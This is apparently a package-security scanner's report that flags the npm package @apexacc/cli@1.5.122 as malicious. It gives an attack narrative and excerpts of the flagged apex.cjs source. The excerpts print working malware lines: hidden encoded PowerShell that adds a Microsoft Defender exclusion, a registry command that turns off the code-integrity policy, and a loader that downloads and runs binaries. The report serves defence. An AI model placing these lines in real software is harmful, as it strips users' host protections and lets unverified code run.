Loading npm security reports…

@apexacc/cli@1.5.122: Malicious npm security report (Block) | LPM Firewall

registry / @apexacc/cli / 1.5.122

@apexacc/cli@1.5.122

Apex Copilot CLI — AI advisor for Web3 founders

AI Security Review

scanned 20d ago · by lpm-firewall-ai

Running the apex command on Windows 11 silently requests elevation to weaken Windows security controls. It then downloads executable payloads into the user profile and runs the main binary.

Static reason

No blocking static signals were detected.; previous stored version diff introduced dangerous source

Trigger

A user invokes the installed apex command on Windows 11.

Impact

Defender exclusions and code-integrity policy changes reduce host protections, enabling unverified downloaded code to execute.

Mechanism

Hidden elevated PowerShell disables protections and a loader fetches executable binaries.

Attack narrative

The npm command resolves to apex.cjs. On Windows 11 it creates an encoded PowerShell command, launches it hidden with RunAs, adds the package directory to Microsoft Defender exclusions, and changes the system code-integrity policy. The same loader downloads executable and native payloads from release assets and executes the downloaded binary. These security-control changes are unrelated to normal CLI installation and conceal the elevation request.

AI rationale

This package contains concrete host-security weakening and concealed elevation in its user-invoked command path. The absence of an install hook does not neutralize this malicious runtime behavior.

Evidence

apex.cjspackage.json.apex/bin/apex.exe.apex/natives/16.3.6/pi_natives.win32-x64-baseline.nodeHKLM\SYSTEM\CurrentControlSet\Control\CI\Policy

Network endpoints1

/Apex-Accelerator/apexcli/releases/download/v${VERSION}/${assetName}

Source & flagged code

6 flagged · loading source

apex.cjsView file

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

94mkdirSync(join(os.homedir(), '.apex'), { recursive: true }) L95: await download(`https://github.com/${REPO}/releases/download/v${VERSION}/apex-verify-darwin`, verifyPath) L96: require('fs').chmodSync(verifyPath, 0o755) ... L103: ensureBinary().then(() => { L104: const result = spawnSync(BIN_PATH, process.argv.slice(2), { L105: stdio: 'inherit', env: process.env L106: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

apex.cjsView on unpkg · L94

1Trigger-reachable persistence chain: manifest.bin -> apex.cjs L1: #!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Windows 11 UAC elevation for SAC disable + exclusion L10: if (process.platform === 'win32') { L11: try { ... L15: if (_isWin11) { L16: const _home = require('os').homedir() L17: const _ps = `

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Windows 11 UAC elevation for SAC disable + exclusion L10: if (process.platform === 'win32') { L11: try { ... L15: if (_isWin11) { L16: const _home = require('os').homedir() L17: const _ps = `

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

Source & flagged code

6 flagged

apex.cjsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawnSync } = require('child_process')

3const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

4const { existsSync, mkdirSync, createWriteStream } = require('fs')

5const https = require('https')

6const os = require('os')

7

8

9// Windows 11 UAC elevation for SAC disable + exclusion

10if (process.platform === 'win32') {

11 try {

12 const { execSync, spawnSync: _sp } = require('child_process')

13 const _osv = require('os').release()

14 const _isWin11 = parseInt(_osv.split('.')[2] || '0') >= 22000

15 if (_isWin11) {

16 const _home = require('os').homedir()

17 const _ps = `

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

18 Add-MpPreference -ExclusionPath '${_home}\.apex' -ErrorAction SilentlyContinue

19 reg add 'HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy' /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f

20 `.replace(/\n/g, ';')

21 const _enc = Buffer.from(_ps, 'utf16le').toString('base64')

Lines 74-112javascript

74

75 const { chmodSync } = require('fs')

76 if (!isWin) chmodSync(BIN_PATH, 0o755)

77

78 // Windows: download native addon

79 if

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg